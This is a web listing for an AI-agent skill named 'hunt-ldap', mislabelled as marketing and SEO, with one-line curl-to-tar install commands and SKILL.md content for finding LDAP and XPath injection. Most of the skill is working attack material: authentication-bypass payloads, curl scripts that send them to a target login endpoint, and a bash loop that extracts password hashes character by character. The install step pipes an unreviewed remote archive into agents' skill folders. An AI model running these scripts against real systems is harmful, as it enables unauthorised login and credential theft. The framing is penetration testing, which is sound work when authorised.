hunt-ldap – Marketing & SEO skill for AI agents
Hunt LDAP Injection and XPath Injection — authentication bypass, blind char-by-char attribute exfiltration, AD user/group enumeration, XML-store XPath bypass. Covers the LDAP special-character set (* ( ) \\ NUL /), search-filter-context vs DN-injection, parenthesis-balancing, AND/OR filter logic, and {SSHA}/{CRYPT} use
Install the hunt-ldap skill with one command
Pick the tool you use, copy the command and paste it in your terminal. The skill lands in that tool's skills folder and is ready in your next session.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ldap-d229b.tgz | tar xz -C ~/.claude/skills
Call it in Claude Code: /hunt-ldap – then describe the task you want done.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ldap-d229b.tgz | tar xz -C ~/.codex/skills
Call it in Codex: $hunt-ldap – then describe the task you want done.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ldap-d229b.tgz | tar xz -C ~/.hermes/skills
Call it in Hermes Agent: /hunt-ldap – then describe the task you want done.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ldap-d229b.tgz | tar xz -C ~/.deepcode/skills
Call it in DeepSeek: /hunt-ldap – then describe the task you want done.
SKILL.md content
HUNT-LDAP — LDAP Injection & XPath Injection
> Grounding note: LDAP injection is rarely disclosed with verbatim payloads on
> public platforms (most live on internal-pentest reports). This skill is
> grounded in the **OWASP LDAP Injection Prevention / Testing Guide
> (WSTG-INPV-06), PortSwigger Web Security Academy (LDAP injection)**, and
> the RFC 4515 filter grammar — all publicly verifiable references rather
> than invented HackerOne IDs. Do not cite a report you cannot link.
Crown Jewel Targets
LDAP injection that bypasses authentication = Critical. Blind attribute
exfiltration of credentials/secrets = High. AD enumeration alone = Medium-High.
Highest-value chains:
- LDAP auth bypass — close the
uidfilter and append an always-true OR so the
bind/search returns the admin entry without a valid password.
- Blind attribute exfil — char-by-char extraction of an attribute value via a
boolean oracle (login success/failure, result count, or response length).
- userPassword hash exfil (non-AD only) — on OpenLDAP/389-DS the
userPassword attribute can hold {SSHA}/{CRYPT} hashes that ARE readable
by query. See the AD-vs-generic warning below.
- XPath injection auth bypass —
' or '1'='1against XML-backed auth.
---
CRITICAL — Active Directory vs generic LDAP
Do not conflate the two. They behave very differently:
| | Generic LDAP (OpenLDAP, 389-DS, ApacheDS) | Active Directory |
|---|---|---|
| Password attribute | userPassword — may hold {SSHA}/{MD5}/{CRYPT} and is readable if ACL allows | unicodePwd — write-only, never returned by any search |
| Hash exfil via injection | Possible where ACLs leak userPassword | Not possible — there is no readable hash attribute over LDAP |
| Useful enum attrs | uid, cn, mail, userPassword | sAMAccountName, userPrincipalName, mail, memberOf, description (often holds plaintext secrets!) |
**Do not tell a reader that blind LDAP injection yields AD password hashes — it
does not.** unicodePwd is write-only. Against AD, the win is enumeration
(sAMAccountName, memberOf, description/info fields that admins misuse to
store passwords) and auth bypass — not hash dumping. The hash-exfil technique
applies only to non-AD directories exposing userPassword.
---
Attack Surface Signals
Corporate SSO / intranet login pages (often legacy Java/Spring/PHP)
Windows + IIS + "integrated" directory auth
/api/ldap/* /api/directory/* /people /address-book /search?dir=
"Find a colleague" / org-chart / employee-search features
XML-backed config or auth → XPath injection candidate
Error strings that confirm an LDAP backend:
javax.naming.NameNotFoundException
javax.naming.directory.InvalidSearchFilterException
LDAP: error code 49 - 80090308 (AD invalid creds / bind failure)
com.sun.jndi.ldap.* / System.DirectoryServices / ldap_search():
"Bad search filter" / net.ldap (Go) / python-ldap SERVER_DOWN---
LDAP filter grammar (RFC 4515) — why injection works
A login filter is typically built by string-concat:
(&(uid=<USERNAME>)(userPassword=<PASSWORD>))& = AND, | = OR, ! = NOT. Filters are prefix/Polish notation — the
operator comes first and every sub-filter is parenthesised. To inject you must
(a) escape the current (uid=...) group, (b) inject your own logic, and
(c) leave the overall parenthesis count balanced or the server throws a
filter-syntax error instead of executing.
The special-character set — TEST EACH ONE
These characters are syntactically meaningful and MUST be escaped by a safe app
(RFC 4515 §3). If the app reflects an error or behaves differently when you send
them raw, the input is unescaped → injectable:
| Char | Filter escape | Why it matters |
|------|---------------|----------------|
| * | \2a | wildcard — matches any value |
| ( | \28 | opens a filter group |
| ) | \29 | closes a filter group |
| \ | \5c | escape char itself |
| NUL | \00 | string terminator — truncates filter in C-backed servers |
| / | (DN context) | RDN separator — relevant for DN injection |
Search-filter context vs DN injection are different bugs:
- Search-filter injection (most common): your input lands inside a
(attr=VALUE) filter. Payloads use * ( ) & | !.
- DN injection: your input is concatenated into a Distinguished Name
(uid=VALUE,ou=people,dc=corp). Here , = + " \ < > ; and /
matter, and a * is NOT a wildcard. Test both — the payloads do not transfer.
---
Step-by-Step Hunting Methodology
Phase 1 — Confirm an LDAP backend (baseline first)
# ALWAYS capture a control response first — you compare everything to this.
BASE=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}" \
-X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username":"validlookinguser","password":"wrongpass"}')
echo "BASELINE (valid-format, wrong pw): $BASE"
# Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.
# An INJECTABLE app → 500 / filter-syntax error / different size.
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username":"test)","password":"x"}' | grep -iE \
"naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"A lone ) that produces a syntax error/500 while a balanced payload does not is
the cleanest LDAP-injection tell — note it, you will need it as proof.
Phase 2 — Auth-bypass payloads (balance your parentheses)
# Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))
# Goal: make the uid sub-filter always-true and neutralise the password clause.
# Wildcard-everything (works when password clause is dropped by a trailing comment-like break):
# username = *)(uid=*))(|(uid=* password = anything
# Always-true admin (OR uid=*):
# username = admin)(|(uid=*) (note: leaves one extra ')' — see below)
# NUL-truncate the password clause (C-backed servers):
# username = admin)(uid=*))%00 password = x
USERNAME_PAYLOADS=(
'admin))(|(uid=*' # close uid + close &, open OR uid=* — balance check below
'*)(uid=*))(|(uid=*' # full always-true, self-balancing classic
'admin)(!(userPassword=ZZZ))' # AND NOT a password that is never set → always true
'admin*' # simple wildcard suffix — try first, lowest noise
)
for P in "${USERNAME_PAYLOADS[@]}"; do
R=$(curl --max-time 30 --connect-timeout 10 -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d "{\"username\":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),\"password\":\"anything\"}")
echo "PAYLOAD: $P"
echo "RESP: ${R: -40}"
echo "BASE: $BASE <-- compare http_code+size to rule out false positive"
echo "---"
doneParenthesis-balancing rule of thumb: count ( minus ) in the *resulting*
full filter, not just your payload. If the app appends )(userPassword=...))
after your input, leave the right number of trailing ) so the final string is
balanced. An unbalanced filter = syntax error = NOT a bypass (false positive).
Phase 3 — Blind exfil with a CONTROLLED oracle (not raw byte-count)
Raw size_download diffing is noise-prone (WAF banners, CSRF tokens, timestamps,
length-jitter on the injected char itself). Use a paired true/false control
so the oracle is the *response*, not the absolute size.
# Oracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.
# TRUE : admin)(uid=*))(|(uid=* -> entry exists
# FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ
probe () { # $1 = filter-tail payload -> prints normalized size
curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{size_download}" -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d "{\"username\":\"$1\",\"password\":\"x\"}"
}
T=$(probe 'admin)(uid=*))(|(uid=*')
F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ')
echo "TRUE-class size=$T FALSE-class size=$F"
[ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }
# Now extract char-by-char. The boolean test compares against $T/$F, NOT a guess.
# Filter: (&(uid=admin)(userPassword=<PREFIX><CHAR>*)) on a NON-AD directory.
PREFIX=""
for pos in $(seq 1 32); do
for C in {a..z} {A..Z} {0..9} '$' '/' '.' '+' '=' '{' '}'; do
S=$(probe "admin)(userPassword=${PREFIX}${C}*))(|(uid=*")
if [ "$S" = "$T" ]; then PREFIX="${PREFIX}${C}"; echo "[$pos] -> $PREFIX"; break; fi
done
done
echo "RECOVERED: $PREFIX"False-positive guards for blind exfil:
- Repeat each positive char 3x and confirm the size is stable — length-jitter
from the attacker-controlled char itself is th
… (full content is in the download package)
Related skills
- marketing-loops – When the user wants to set up a recurring, self-running marketing workflow — a…
- cmo-advisor – Marketing leadership for scaling companies. Brand positioning, growth model design…
- marketing-plan – When the user needs a comprehensive marketing plan for a client, a company they advise…
- codebase-onboarding – Analyze a codebase and generate onboarding documentation for engineers, tech leads, and…
- marketing-psychology – When the user wants to apply psychological principles, mental models, or behavioral…
- cold-email – When the user wants to write, improve, or build a sequence of B2B cold outreach emails…
- commercial-forecaster – Use when building a quarterly bookings forecast, ARR projection, pipeline forecast, NRR…
- commercial-skills – Use when reviewing, approving, or designing commercial motion — pricing models, deal…